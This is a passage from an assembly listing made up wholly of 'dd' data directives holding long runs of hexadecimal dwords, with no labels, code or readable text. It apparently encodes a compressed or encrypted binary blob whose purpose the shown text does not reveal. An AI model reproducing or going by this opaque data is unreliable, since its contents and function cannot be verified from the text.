9309EA4h, 41DF2102h dd 4020EFE5h, 0BB12308Fh, 3C921FC8h, 108C6A52h, 3BC0F7E7h dd 4C08C660h, 327E448Ch, 8A605300h, 8BFD1C1Eh, 0AA282499h dd 2EF98F58h, 0AEC0D3EFh, 8CD5AD74h, 380FDC24h, 73483E9Bh dd 594AC70h, 87A603Fh, 2E3828ACh, 10605700h, 3E99A380h dd 3DBEE6Dh, 2411B315h, 280A6F32h, 8C557175h, 1BE516C0h dd 22154697h, 3ED40003h, 0ABE728E5h, 0E1E96A7h, 8C472680h dd 0B0FD9BB4h, 0D997A3FDh, 0E15C0064h, 0D00671E6h, 4C402B49h dd 1852B8h, 4FE97296h, 1B6536h, 8CA9DF48h, 1EECAE31h, 7C299502h dd 41718D15h, 25101284h, 17181F03h, 0DF90A0Bh, 43D701DEh dd 0C4B7AA1Ah, 70FC22A9h, 17551900h, 6DB41B8Bh, 0B3E33AA3h dd 65011622h, 0BD855510h, 0D3F65Dh, 2AA97A99h, 0B4AE5952h dd 57163001h, 1113197Ch, 0D89A6F3h, 0A863FC96h, 0EB3021F8h dd 0F66E21F8h, 0B0025341h, 0E5AB3357h, 182597E9h, 3CD28807h dd 0A7D6E500h, 8A8723F8h, 3B7500ECh, 1E406D09h, 0FA488D3Ah dd 7F700440h, 4C80AE2Ah, 6C22117h, 55A2C18h, 0F03D2071h dd 0B948E0h, 8BEEEFEh, 0A015FAA7h, 368A1FD8h, 182873CCh dd 48B61230h, 2A3C200Ah, 2E0A428h, 41AE80D8h, 0DC859B1Eh dd 0CFE04C37h, 0C800DD21h, 0EE0C5BAEh, 1232DAEFh, 50E3D48Ch dd 0CF23C45Ch, 1A28B420h, 0C485C08Bh, 54E76080h, 22D7A6A8h dd 120084F6h, 0CD9E97B1h, 2DC56Ah, 0EC287C67h, 200965CFh dd 2583E52h, 1E3FAE7Ah, 10D0316Bh, 0E0AEC2E3h, 27B1011Ah dd 648AA89Eh, 13844368h, 80605FB2h, 8D390219h, 92520A56h dd 8C1EE47Fh, 0F3742C24h, 72028A18h, 2027BC28h, 4CE04C0Eh dd 8138B3Eh, 2D7438B4h, 0DF605600h, 0C93BEDC0h, 50AA02CFh dd 0CAC7FCA4h dd 7A8BB080h, 0A0DF7B9Eh, 0CD239910h, 18551A01h, 0FF18138Bh dd 62B740h, 19C75511h, 7FB66EBDh, 0FCD38C00h, 0B8720D69h dd 0C5E61F36h, 12923F08h, 42104880h, 3BAEC6C0h, 22CB461Eh dd 0CEF700D4h, 4236C7AEh, 56F423A3h, 51B08865h, 0F2FDA898h dd 67A6488Fh, 9DA5820Ch, 4EE2941h, 11D11403h, 2EB68F84h dd 0D4B019h, 0D55B0B6Dh, 0B339F3A3h, 0B60389EFh, 11C0379Ch dd 43DC8006h, 0B9430D0h, 698D424Ch, 36977801h, 0C184410Ah dd 8125718Ah, 0F0A70698h, 90527B9Bh, 0AEC73043h, 908CBCB2h dd 0F8DC44h, 0CA3CAECFh, 0FD387FA8h, 4971AC0Bh, 918C1DB4h dd 91A7807Ch, 0E2B42230h, 4D2104Bh, 730A156Dh, 0BC844C88h dd 187143BCh, 0FE883ACCh, 0B74B1994h, 185348F7h, 19E50918h dd 6C9C4597h, 0E540DE03h, 0C8D4928Eh, 4F078AFh, 67F47D2h dd 882C8E20h, 1E67E3CFh, 0B69981FFh, 0ACC6DD04h, 71009CF0h dd 96D8E3B8h, 0A26326ECh, 0EE09BFD0h, 802A32A8h, 80CE1198h dd 8B19550Fh, 0C0B342EBh, 0F154E663h, 34111DC7h, 16BB40F8h dd 9C72A81Bh, 5A70400h, 29267C54h, 145D5D5Ah, 0BDA4300h dd 1F073157h, 3C4F1329h, 3718FD71h, 75B1A3A0h, 68F49502h dd 0C98A9772h, 8070FEC0h, 635A098Fh, 588116ADh, 25C7B704h dd 88D6F000h, 30B8480h, 41752EDAh, 27C2878Dh, 59E43445h dd 93986E63h, 2104C2FCh, 7928A45Ah, 0C4904FC2h, 9DD8A1A0h dd 7191A510h, 240A19C0h, 0C481F7C4h, 80DF7611h, 8E681B81h dd 6F5B2100h, 0B25C0A47h, 60A005B0h, 80B32297h, 0FD210F50h dd 141C174Dh, 10F0678Dh, 4604A95Fh, 0C19EB479h, 32810ADCh dd 4558B34h, 7C604018h, 1E233DAEh, 7DA117Bh, 0F1AEC4E1h dd 0C342F4F0h, 48E4CCCh, 7209A610h, 701349h, 4989EDA0h dd 60509F8Ch, 446F4928h, 0F27CC9ECh, 6E467105h, 8088738Eh dd 0C766288Dh, 21146C0h, 87C603Dh, 1056313Ch, 605530h dd 690EEB6Fh, 0CDF6C6ADh, 46C14F04h, 80CB1474h, 17015223h dd 3D9718E5h, 8092D423h, 9964C0A8h, 0B6309002h, 829EDFD4h dd 51261BA0h, 8842CE0h, 71871221h, 6DE030F0h, 5C75DF06h dd 6BC34CBDh, 909ECA72h, 0D597D880h, 0C63F10B9h, 15551B02h dd 58C70B8Bh, 55126700h, 314ADB6h, 0FEE52895h, 408F16C8h dd 5E0DC026h, 13909213h, 8F2CCC09h, 1286A87Ch, 3D8D0F7h dd 3E0A3217h, 0F4A28D83h, 0B3FC6F80h, 33CFD0E4h, 0E2910CA8h dd 20F50188h, 0A20387F4h, 69CA4ECEh, 2599508Dh, 260C7848h dd 6647E8Ch, 698896A5h, 90F41300h, 0EA70D45Ch, 0FC10536Bh dd 82C6B903h, 8100A08Ch, 8B7428A5h, 0D654EA72h, 2BAE0AB0h dd 84F38994h, 9C810446h, 51518C8h, 3B8B1355h, 44CBB3h dd 54550C49h, 265A1E4Eh, 1C4C7051h, 60A7C574h, 0B69406C0h dd 0EC91785Fh, 8671BAD0h, 1814BB00h, 0DFD11615h, 4AB912A2h dd 1110C8ACh, 1E00DCE2h, 1C0A93FFh, 0B2793Eh, 5D9E450Dh dd 0ACA7D404h, 0EF295C01h, 0C189F772h, 0BBF2020h, 0D0FEB15Ah dd 6F76B438h, 0D1732074h, 10F8C248h, 305051BEh, 0F6DA408Bh dd 9959EAh, 22F03982h, 0BF8E819h, 5C10007Eh, 77CDDE02h dd 3600AE05h, 0B6784DA3h, 13537227h, 216B97A4h, 0F669DF5Ch dd 0D0864464h, 0F9D1BCB1h, 6900E218h, 0EDB43882h, 2730F5A8h dd 9BFE228Fh, 2D8C421h, 2C778673h, 3E8F060Ah, 0B509BC1Fh dd 6850054Eh, 0F1EF8C05h, 4CE20888h, 65A0905Dh, 9403EE36h dd 0A9B2C12Fh, 68D10024h, 53B59007h, 1500036Dh, 0E0C91150h dd 9E7A0E84h, 52438764h, 0C591DC7Eh, 5EDA2300h, 0DE3B42CCh dd 71E600D2h, 11A90A72h, 370060C7h, 17D3452Bh, 6C1F2838h dd 0F7D9A90Dh, 0F9F07D41h, 0FC0E0B78h, 4D0069B9h, 14515DC3h dd 0B6777601h, 5A6FFF82h, 743041D5h, 326C880Eh, 445DC100h dd 0F61534C4h, 9894007Bh, 81FEBC75h, 88CE1856h, 0F3A408Ch dd 942B197Ah, 9C41805Ch, 0E7F0B363h, 0A7E49200h, 603BF93Fh dd 0D59D0407h, 0CAD81871h, 0B8AC58B4h, 734306h, 785C6608h dd 54A94FD9h, 386B827h, 0ABC4B6B9h, 3100107Fh, 0C9A11147h dd 2D368h, 0D13E8D1h, 3D2641CCh, 10E31704h, 0D0CC2A3Bh dd 5C389629h, 36095946h, 7780B4D9h, 25FE094Bh, 2403F524h dd 2700772Ch, 1F1037CFh, 12081692h, 88108ED1h, 2A0EC07Ch dd 1018BD33h, 28F915F3h, 9AC0A89Fh, 0D6AE0070h, 29A70809h dd 0B00B9EFDh, 847D9227h, 0CB5203B4h, 0CBCEC858h, 0BD89100h dd 192486A3h, 62088877h, 0A9CF0F7Ah, 438F91B8h, 9A293Bh dd 5834396Bh, 6108011h, 6D97153Eh, 3D468004h, 3EAE7902h dd 0DB31631Eh, 0AEC1DE10h, 380076F4h, 0EB931890h, 0FC2AA54Eh dd 132F4AFDh, 165E0BD8h, 6D0AC849h, 61068F60h, 0D3D2229h dd 8F0AC040h, 4CB54C46h, 19922B03h, 83E4CCE4h, 83F490A8h dd 8BC8758Ch, 1031E1EEh, 197D1862h, 448CD870h, 3C0FB96Ch dd 0E9577363h, 6104ED09h, 0D4D0F90Ah, 0B7FA8A9Ch, 0C0040E90h dd 0B3DB8BF4h, 7EF234A2h, 0B0980930h, 4EEE2050h, 8E0028FDh dd 2EF4911h, 78BEA611h, 79F0B160h, 10E18D9h, 1CE272DEh dd 42B19769h, 8C2019C0h, 0C2D3DBFCh, 0BE1DC970h, 0CC9228EAh dd 6156FC84h, 97DCE513h, 0C0B0B91Dh, 5AE53BD1h, 8644C907h dd 0CBF28D1Ah, 0C04604DBh, 4E21514Fh, 2C520E26h, 12603944h dd 972517E5h, 35D896F5h, 203AD8h, 0D9523F5Dh, 7401FD9Fh dd 165DA086h, 0C8FAEC97h, 0A0371104h, 0C79E74h, 5B5FF202h dd 657A228Dh, 48D48A80h, 1C4C091Dh, 51EE017h, 800B39F0h dd 0BD222B30h, 1638B948h, 704075BAh, 5EEC4335h, 81D89CD8h dd 251E5FA9h, 90844562h, 7F5585A0h, 7CB821C1h, 2822E5F0h dd 42D8A27Bh, 14D80034h, 5FA2819h, 740DF356h, 0B524B4C0h dd 102CFE48h, 38C0F7E8h, 6408C760h, 33C07499h, 1AE6050h dd 142EDB68h, 0DC6D1ED0h, 0B49211A8h, 0E3CA9500h, 4EA20B9Ah dd 6A89009Dh, 0D90784A1h, 0F8B010F8h, 1602C146h, 338B1455h dd 66606CD1h, 28C550Dh, 0B48A7211h, 0A8806338h, 999C2A8Fh dd 2700F8B0h, 87BCED5Dh, 5032A75Eh, 1C9B003h, 0A12BB150h dd 0F8D06AAEh, 2401AA94h, 8F9B62DFh, 0F82C9E72h, 78048A0Fh dd 6488583Bh, 2700A894h, 0BB0732B1h, 17B27216h, 4C83697h dd 87A2C6A4h, 0A87FC198h, 0CBDC553Dh, 0C0FCC8C8h, 0F1D87E64h dd 0AC02F8EEh, 8A1CA449h, 0AECA00Bh, 2EF745BFh, 730C2A8h dd 97BB4932h, 430D947Eh, 0F01510E0h, 0E467464Ah, 0CDCF0481h dd 91A52BAEh, 0C02D5108h, 0FE004E3Ch, 188632B9h, 314C62Ch dd 0AEE00734h, 0CEAAB493h, 33206C40h, 0DFF01606h, 1E8AB21h dd 505863B8h, 31B18D10h, 4CDC28D3h, 807C2D64h, 837F0684h dd 9C7D5C36h, 34C432Eh, 6CF15A20h, 0B4732002h, 9E3ECFCCh dd 39222320h, 9150172Dh, 98A5C2D4h, 0AA584987h, 0EA000C72h dd 5EE26831h, 10A0F5BBh, 0C37A153Bh, 57FB1300h, 2BCE6574h dd 2E285F5Fh, 5A2318h, 0F3051440h, 2B31D3C8h, 255A99D1h dd 0E0AE2D0h, 8475A439h, 626D360h, 3D00552Ah, 60799C63h dd 5B45E28h, 14C58BB8h, 0E404F52Dh, 0E35FEC96h, 228F1002h dd 0F9745836h, 80D323E8h, 289C7F90h, 47A60780h, 137A63h dd 0FA5A1150h, 14186591h, 0B49E50B0h, 1CF465Ch, 6EF1C185h dd 64316F33h, 7882A4F5h, 585A728Dh, 0E8B9B864h, 4018FB79h dd 777DCE06h, 98A087D8h dd 165611CCh, 0BDEB1080h, 8BA5771Ch, 88172912h, 5D805791h dd 9C7BA9A0h, 7DBB8002h, 9B5001A6h, 10D5C89Ch, 0B40C0044h dd 1B3DCCB7h, 6D592741h, 7881B924h, 0B74AC418h, 92A5F0B2h dd 13918360h, 5E6A5A6Bh, 0DC90024Ch, 0A888BDBFh, 512204CDh dd 0A10A420h, 0CD798491h, 7F014018h, 2A8B537Ah, 0D0486686h dd 8E7B190Dh, 69F61082h, 699B1224h, 11001216h, 0BF392910h dd 4A38016Ch, 728AC601h, 51C3197h, 88DC8EC8h, 22B3C0CEh dd 0DF1766ABh, 0B840BF35h, 0CD85283Ah, 9FB40111h, 2147E0A0h dd 84B84E94h, 0AF307305h, 0C40D028Dh, 0E9C7FB23h, 0ED20F982h dd 14E8CCBBh, 0D70E5836h, 599689BEh, 0B069F740h, 8AA31607h dd 0C00DB8Fh, 0B65BD61Eh, 7A1738DFh, 6B4F6021h, 0C9ED1000h dd 9DE8A169h, 0B7FF086Ch, 36B6DE60h, 2E9E3875h, 45903800h dd 14113A28h, 46761096h, 7E34015Ah, 4B36A344h, 72F180CDh dd 2E2B873h, 883B833h, 0C0AA257Fh, 9A8C48C0h, 31C8509Dh dd 8DD17DEEh, 0B92460B8h, 0A58109F8h, 99A564E1h, 59E4C045h dd 0A2FA7D60h, 0EBA04A02h, 0A88B7E85h, 0C309C9D4h, 482C49C0h dd 0D31E0474h, 0C8008BB9h, 0AFE8C301h, 0A45A2BC2h, 0CBB2BE00h dd 45C6FF87h, 0D28977F0h, 0C458CB81h, 3F3071BAh, 8100AB7Ch dd 0F0D058Ah, 1FAA67DBh, 6C468CA7h, 807932B4h, 9200C472h dd 93710918h, 2A1679h, 0DA661BE4h, 0EFE8AFB4h, 0F706B805h dd 0CC16BA2Dh, 43D43605h, 0B8F20895h, 0CB7FDF1h, 0C5C200D8h dd 1185DA6Ah, 8F258884h, 379080F2h, 0D31E72B4h, 23903A50h dd 0F8110057h, 2FBC0DEDh, 96194F1Eh, 0F9AB284Ch, 3D6478B2h dd 80001D7Dh, 0CD5CD9B8h, 0B4947F2Dh, 3A41FE80h, 0EBCC23F4h dd 400058EEh, 0BE2643D9h, 0D419C5Ah, 5CEE988Ch, 1465CD0h dd 80F2317h, 8785D3A0h, 0EF00B56Bh, 0C7A70538h, 39F074h dd 606E78D4h, 93BB7CCCh, 553AD3Ch, 71992411h, 418BDC88h dd 0D74C29A5h, 358000DAh, 0DCF7E3E9h, 43B48C16h, 0ACA3A080h dd 0F14046Ah, 0F4A88FAAh, 4F00BC08h, 993670B3h, 1EA5DC3h dd 1B5CF2C5h, 0F4E2F6CEh, 42183C0Ah, 0B8E92511h, 0B497958Fh dd 7C9A7F91h, 0D100FCD2h, 0A8E2793h, 28019FAh, 54131AFBh dd 0FCE8782Bh, 689E9FA5h, 3910AA8Ch, 3D070026h, 92DECFF1h dd 2500AD04h, 4E813FD3h, 11F0AFC5h, 7EF6B6h, 9C9A7CAEh dd 8E1C01h, 0DAE5B4D7h, 1796E1AFh, 5CAB413Eh, 84212458h dd 0F84674h, 1E35EB08h, 25B98D86h, 0F01720F2h, 60B81488h dd 627A8BA4h, 7C0F504Eh, 89A7E5DDh, 52AA3888h, 2800D808h dd 0EC5B70EEh, 0DA2A6D19h, 0D49CCC9Ch, 0BB5102DCh, 0F5DF5E6Ch dd 8D18DC68h, 2ECEE3A1h, 712E8044h, 0E506C51Fh, 23342B08h dd 61E905D4h, 0A1E4B3F7h, 0D80CB817h, 0E8FE1201h, 2A728D8Fh dd 60006C28h, 0B7CF499Bh, 85CB866h, 8CD9BC80h, 0EE463400h dd 0A7F0EDCFh, 0E7950076h, 11AB0E59h, 0C91FE7Ch, 0D618FFD1h dd 0E08BD0Fh, 0FD0F8166h, 8CCC3F4Bh, 7A8D0B79h, 40E865E2h dd 70BCA903h, 1FC4676h, 3E12C845h, 0FEEC8322h, 5875F6D8h dd 0A217C4E6h, 81508004h, 14BA0FE8h, 465CE496h, 0FA30057h dd 6D153BA8h, 76212BAh, 0A4B4029Bh, 7478BBB4h, 7606C612h dd 5E204F2h, 88B0032h, 4DED69Fh, 0E96D111Fh, 816CAC82h dd 165092B7h, 0B392C0BDh, 4860F0FBh, 0F0E61544h, 6D8E26F6h dd 0BB215E98h, 0B6938371h, 0D6988396h, 14EEEFD4h, 0D8D56FFAh dd 80E880B0h, 72AE8D0Bh, 40A4B68Bh, 18352694h, 0EEC67A01h dd 2C92BEA5h, 1490032Ah, 3AB57EE3h, 175A23BCh, 2D00BBB4h dd 0AC4687A8h, 0DCF0B4F4h, 40BDDE00h, 0BFECB70Ch, 41D8C2CBh dd 1C720A7Eh, 0EF50E200h, 29FC5616h, 0B14202AEh, 2B108B45h dd 0DC87A054h, 5987CB8Eh, 8F6D7A11h, 58CCD3CAh, 0E316CE27h dd 500462FEh, 380BD86Bh, 6AE2E018h, 0C98D010Fh, 8E72A48Bh dd 79243CA8h, 97A703F4h, 0E04A23E4h, 7F23F02Fh, 8804F317h dd 2902C089h, 3078D122h, 0DA970A13h, 186F68C1h, 810918Bh dd 0DC625C12h, 0DCB65400h, 0C0C2AA43h, 0F91F76A5h, 18577908h dd 0C76D00BFh, 0B604B9FCh, 3606AFFFh, 3891A7BBh, 8A8424E9h dd 82E24E88h, 60E4103Ch, 757F8E02h, 0E95DAD43h, 0BC14E62Ch dd 8C01BCCCh, 56495A0Ah, 0C00382Bh, 693930ACh, 97722F8Eh dd 0CF91041Fh, 58DD5080h, 8CE8FB25h, 973DA027h, 80DA9134h dd 7DD8FDEEh, 2C94FCC8h, 0DE00E566h, 7A971D01h, 92FF93EBh dd 40A6C464h, 5D59DA4Ch, 34843DBCh, 6CB239E5h, 4530DCF2h dd 0E4AF0F0Fh, 0EE0076Ch, 71CD7E4Fh, 46764496h, 5C3D3F08h dd 5A2904A2h, 34FCFF89h, 6B5EE039h, 0E0D500D0h, 2B9AE735h dd 8D810025h, 18998C60h, 0AA12EE2Ch, 0C8F056A7h, 75851F15h dd 72F8C0C1h, 5DB034DFh, 9E00A87Bh, 6B97482Ch, 25A746h dd 0CBEED5ABh, 8E8C8B6h, 24BE313Ah, 0C3C201Bh, 11C49674h dd 10576A8h, 27045E1Ah, 982C47B2h, 8521AF08h, 6C40F1Dh dd 0BBE061DCh, 5C81E9B6h, 11EDDF0h, 0D114F02Bh, 52550E08h dd 0C2A30083h, 67A0D653h, 0C2BF18BEh, 720009B3h, 67FF631Bh dd 11C860EDh, 406CF37Ch, 6BC352C4h, 0C2084766h, 742D0021h dd 951AFEF3h, 9B00103Dh, 600F2E6Ah, 0C8D54271h, 21CF6D50h dd 4F536EF3h, 2B20D619h, 3FF34Ah, 0C1A770Ah, 66D88246h dd 5FA8DA50h, 0AFAE5714h, 0F8E3EA0h, 83308D53h, 6413A2FFh dd 606C7040h, 236DF37Dh, 0C4117753h, 0F3752A00h, 56B26201h dd 160F830Fh, 9A0E40C2h, 54B3B86h, 2352357Bh, 0D990023Eh dd 0DC80A980h, 8B53B51Bh, 0EB182F60h, 0A0C168DEh, 15C1DA8h dd 0CCC70BABh, 9FBE06F5h, 0E50F1031h, 0F097036Ch, 3B190007h dd 82030465h, 0EC19A369h, 3D08719Ah, 6D5A2180h, 0C20DFB04h dd 6B042F76h, 155D806h, 76C08241h, 629043CCh, 3C84C1F8h dd 0D486570Ch, 1AF90A9h, 6D8AE609h, 424B1A97h, 5C20D890h dd 0E24CB479h, 544A00C0h, 70B2B864h, 93032907h, 4D080697h dd 308866Dh, 1B135561h, 0BED1586Fh, 19644893h, 82210477h dd 6146C009h, 2600FF04h, 884AFA0Fh, 0C5F5E0Eh, 0EED44922h dd 0A7145D50h, 500853C1h, 0E18C4B88h, 465E65D8h, 30AD222Ch dd 0E4201888h, 37FADB02h, 28F94401h, 0A7E13C42h, 8C607024h dd 69F37902h, 16519753h, 0F3712E00h, 0EC59FA0h, 15AD0287h dd 37830A34h, 0DB6DFC81h, 0A2DC23B0h, 3D0C30D3h, 72D80E0Fh dd 10E20950h, 38AB702Ch, 5F803E0Fh, 0E7F17DDEh, 1F0A8951h dd 0A80DF357h, 20494F80h, 2CF8693h, 6E75B4ECh, 0F0800867h dd 667D3BD8h, 0C9DDFE30h, 0D13370h, 94EEDC3Dh, 0F975CA90h dd 0E0CE5207h, 9D5091BCh, 480B6660h, 53095D8Bh, 202704B6h dd 119C8A14h, 0F3788067h, 8C9F5368h, 11C144h, 95D7F370h dd 0BF5CC546h, 0DCA26124h, 0F6201801h, 9C5234D1h, 0D8073176h dd 74465E18h, 8302D022h, 15EAC41Fh, 5BD94082h, 0D36D1247h dd 961849D1h, 4644830h, 61820211h, 45893388h, 80BC0E6Ch dd 61D0B896h, 9DF0063Dh, 0F014BEC7h, 97E18F3h, 6F536AF3h dd 2F265C9Ch, 0F41F9476h, 36D591C0h, 60C2C102h, 6FC9E8D2h dd 80A0A7F2h, 0F4A8A8E2h, 0E0002BF4h, 55330398h, 21C1EE4h dd 0FEFCDF1Fh, 0F00309A6h, 7EB1041Ah, 9026FA3Dh, 0B289D964h dd 0E2812C99h, 0D5A6F885h, 0D118708Ch, 6E19D998h, 7128BD6Fh dd 4CE10430h, 0A70C417Bh dd 7890B1C9h, 972A2B0Bh, 3700090Dh, 9B2A87D8h, 0CE098018h dd 0C735929Ah, 0E80420EBh, 0C0050F9h, 0C36FD89Bh, 976D91C9h dd 80319184h, 5CFE209Ch, 4B9130A7h, 0ACF88458h, 2048C58h dd 7987D9C8h, 2B8C80C7h, 0C52A1F0Ah, 48A7F3D8h, 18C0923Ch dd 46820604h, 1362201h, 0C4046041h, 24D894FBh, 0EC009544h dd 11867A69h, 5BAFEBh, 8AF8668Eh, 42F729C1h, 0D4E7C528h dd 23C88489h, 30C4A228h, 34008CC7h, 9E75DD27h, 0FF53E31Ah dd 0CC20B7C1h, 918E6A95h, 0AE4674A4h, 1CC53F1Eh, 6F58C217h dd 0A49B30C0h, 8982916h, 0CD16C004h, 0C5A9D900h, 575C691Ch dd 88DE305Ah, 0A2475E1Eh, 61C800CBh, 0C0B1C2Bh, 0E6C8529Ah dd 0E4997D48h, 8C18D279h, 7531F406h, 19C195h, 5EE9C5A2h dd 0AF793673h, 6017FDFEh, 6804EC2Ah, 8007A668h, 32089104h dd 0C93983D7h, 165D0A5Fh, 6D1FA0h, 0C334EB64h, 0FEE28CCCh dd 0D4076E45h, 0F373C068h, 4743536Fh, 0C04B2884h, 86B74A74h dd 5E0E3E78h, 0E6532B05h, 2690B244h, 60DCC7CEh, 0DBE567DCh dd 52668501h, 779045D0h, 0C5A24C63h, 7A0F30h, 6F1A8A59h dd 7BE3346Bh, 32177990h, 5845353Bh, 0C008E5D1h, 6103C74Ah dd 23145E64h, 60878E10h, 55DC7AC4h, 65162603h, 42A11231h dd 0A6DECB0Ch, 0F6569840h, 0A40F1100h, 1DDF6E2Fh, 0FBD901B3h dd 0C43B3142h, 0F25023C1h, 0F3CF30D1h, 0BD716603h, 180D2F5Bh dd 89B786D1h, 23302A35h, 0C455181Ah, 84080617h, 49DB9496h dd 0F006AF4h, 47C6536h, 0EB0BABFh, 0F0062F82h, 1D6C0456h dd 5EA4C8E3h, 7FAD6C00h, 7CC6B35h, 883683Dh, 9473007Ch dd 0FE6045ADh, 9BC4EE54h, 0F78F3C00h, 0F010258Eh, 306C4C8Ah dd 0C38C3FBCh, 17354D64h, 9D65DD98h, 0BCBB8F09h, 0E4184580h dd 0B4CC6037h, 8700B967h, 3088AAC3h, 32946018h, 77A50200h dd 7E429A46h, 0F6157AE5h, 0B4182069h, 28C0156h, 357BAD68h dd 0C75A304Bh, 907780h, 9BD2BDADh, 1DF73E2Ah, 0B9920B04h dd 78B5BFC8h, 8C98BC20h, 11046638h, 32887182h, 46E5B80h dd 1376D46h, 0B524EDCFh, 40219B33h, 0D4B1E9F8h, 50B0DA48h dd 34400310h, 0FC1A4CB8h, 14367F10h, 23F46A8Eh, 0AD69011Eh dd 18733578h, 917088A6h, 0D77CAD01h, 0FF81EACBh, 48EE05C8h dd 87FB077h, 3E6F322Bh, 1D5F0600h, 6B666DD8h, 443740BCh dd 0B142C380h, 162185h, 0CA8E4617h, 0F2BED8D5h, 0DCBF20F1h dd 0D0327C91h, 8A6D311Ah, 689335B0h, 0AD95E853h, 0B04A003Ch dd 42B3845h, 81C709F3h, 8FC0D780h, 0CF2D13h, 0BA96D55Ah dd 0FFFD5048h, 0E8D4EC58h, 0F53B8C3Ch, 99B40032h, 556A486Bh dd 0A4FC28DEh, 4694A6D8h, 41F0291h, 9C398209h, 67400094h dd 3C28CA04h, 2C267792h, 70116CE6h, 9D6098Eh, 10656448h dd 0C4018183h, 5F89E8DAh, 13D2F8BCh, 6F6F8550h, 7C1500C0h dd 0C0E2954h, 5C6B044Ch, 86A1F5BFh, 0D817A078h, 3C3F7250h dd 4E003F23h, 0AD7D03AFh, 8DE603E7h, 0C0C41623h, 8647D101h dd 0BF17208h, 0F80632F0h, 0EE7A0312h, 0C65981D9h, 0BC742849h dd 67840CBEh, 4E910EF0h, 8071F901h, 0BD5662D9h, 7B4498E7h dd 2E201782h, 6D1000CAh, 0EE2A610Bh, 0BB8C0E00h, 0AF06ABF1h dd 10A14A44h, 0C0E8B464h, 2FBA0E8Ch, 99FD4450h, 0E1E79134h dd 0C402CC4Bh, 0C781A50Fh, 3D7C07Fh, 2822FD54h, 25C897F9h dd 3CA2A8D1h, 0FF07CBD6h, 3361BCh, 3DDA01B7h, 0D96C2BD7h dd 1B818379h, 237C98EBh, 35B61362h, 188C08C4h, 72AD6FC1h dd 0BC2383F9h, 0AD977E80h, 0A201B62Dh, 5BB4F224h, 1C3026FBh dd 44575A27h, 46BF3000h, 0B9992AFFh, 18DC79C4h, 20084CD3h dd 96120F01h, 23A85C1Ch, 3036A2B4h, 14987A73h, 7CF35529h dd 0CD18A771h, 0CB81F301h, 0DC6630C0h, 0C9B7BC43h, 989F4458h dd 0F9C7190Bh, 0E28C6847h, 19751994h, 4E8AFB06h, 86B02C1Ch dd 5DC41A00h, 0A8D6CDA6h, 474B4ADh, 0B30CCB42h, 30C7B274h dd 2101287Bh, 98833F92h, 0D9E4E21Ch, 0D25E05ACh, 132BF0Ah dd 18D65330h, 0B4B068A4h, 0C4B2A4B2h, 0FE7F30h, 6B67E5E7h dd 0D938BB27h, 0D884D000h, 872D1BA9h, 60D61855h, 0A3370D7h dd 803B4F20h, 861932A4h, 0D1719891h, 8809FE18h, 909560ADh dd 666C33Ch, 1623F16h, 0AB217009h, 18519124h, 0A2C9EFE0h dd 0B384033Ch, 42F88D88h, 6A0880CCh, 963B9A0Eh, 30D0C821h dd 55621922h, 3032F414h, 0D5582B67h, 4432AEDBh, 0C1535173h dd 2900BF28h, 485B575Ah, 0DF23603Bh, 0E2073602h, 0E96048B4h dd 900A00EAh, 0CA75D997h, 64A20F79h, 0AE14B402h, 97E6BF02h dd 80C11138h, 92C3344h, 1A713DCh, 4E64904Ch, 208434DBh dd 1E00C226h, 0A3F39946h, 19A2ECCh, 0B2E9648Ch, 406D664Eh dd 613A584h, 841C0FE0h, 638057Ch, 169DB58Bh, 368D711Ah dd 180C1B21h, 0B01F2D20h, 0B232C3F4h, 55806A44h, 3EDC03E8h dd 0C35D2007h, 246C8920h, 44813304h, 21001708h, 7BC35545h dd 0D598FBCh, 21D98D29h, 0CB1B4056h, 145299CFh, 3019E22Bh dd 2B017363h, 0F91435Fh, 1F961A82h, 0D701856h, 0B4002C51h dd 9453EA9Dh, 0DF6F66h, 0AA1C3DB5h, 15E23225h, 0C75E5F00h dd 6B340441h, 8BCE2670h, 1012304Bh, 3118D6D7h, 0EB5307E8h dd 0EF3F00BBh, 1A8528Fh, 0A0A93D8Dh, 66C89B5Fh, 9185DA3Eh dd 0BADB31A6h, 0E8900119h, 0D94B8F0Fh, 570E0D8h, 0FD6FF4h dd 0E1738149h, 0F4D5212h, 2BC6B7B8h, 0B0EE9h, 1253E8E6h dd 0DE37195Ch, 701E51E6h, 5F4C7366h, 50FB7E50h, 40E5E090h dd 951BFF09h, 2B0C1179h, 0EB556A2h, 8944C35Eh, 463874h dd 7D59C356h, 334212F1h, 0B9666007h, 0C35F7CA7h, 714E958h dd 52E2712Dh, 8741D07Dh, 0AF3C1159h, 64BB80E8h, 4693B53Dh dd 61093850h, 949936C9h, 0C5591851h, 224C8974h, 4124164Ah dd 89D382C0h, 0D44E9060h, 80186C17h, 81660D05h, 4911F715h dd 0E91240EDh, 0C80B0960h, 1DE5775h, 0E001A639h, 20C00B63h dd 28A04A8Eh, 0AADCFABFh, 0E9294F90h, 338500C9h, 2ECA724Ch dd 0BC691200h, 74EFDE15h, 29A402FEh, 0B8C3B2F6h, 0F18B48A0h dd 0A193E1FFh, 0D065F079h, 53239C0Ah, 44C35B0Eh, 15625C89h dd 0C3534320h, 662A05FCh, 1B9C0BEh, 0AA727C9Fh, 88274B44h dd 0FB2EC01Dh, 0FD0F0AB9h, 42557036h, 92830FC9h, 0F3B2B8h dd 9589F982h, 2D2B4D35h, 153CCE40h, 68CE7875h, 3749BFACh dd 5048D9D6h, 0C3725818h, 11448923h, 50400E1Bh, 2C93E0C3h dd 14BDC99Eh, 0B531831Ah, 0BC352321h, 810FEB60h, 9243DD1Fh dd 0E899228Eh, 0D3051244h, 0F896D8C9h, 315D2EC0h, 0ECA200B8h dd 0A67F8D51h, 0E606BEBFh, 10E9505Eh, 0A23D0035h, 0B7418C3Fh dd 0A0F18E7h, 82E6F416h, 7D8D308Fh, 0C183B74h, 3CCF0231h dd 0C1071164h, 0F21CB7C0h, 0FA45FA34h, 3958B02Bh, 240B4C3Ah dd 0D941AD38h, 884022F3h, 0C35AC352h, 4A548991h, 72422C2Ch dd 4353E704h, 1A23DC98h, 54304DBDh, 0E51DD7BAh, 5B801411h dd 0D61BD8Bh, 88EB52D4h, 60F8925Fh, 0A59D89E9h, 0D70C0E6Ah dd 15D93C21h, 224C3218h, 70622DBh, 0FAABE681h, 0FD080951h dd 1A465C2Bh, 26C3517h, 0A223BDA9h, 2591C094h, 65181C71h dd 91FD8700h, 8F1B8D35h, 0A5C6A0CEh, 54CA2C95h, 4A00DE10h dd 0FAB7FE59h, 2C8589AFh, 72F22071h, 1C117F15h, 802B680h dd 0CD09B179h, 2013A9F8h dd 5F596911h, 0FEFC48CEh, 23602AB4h, 39BE1814h, 26E35F51h dd 0F08846F3h, 0B8D10FBh, 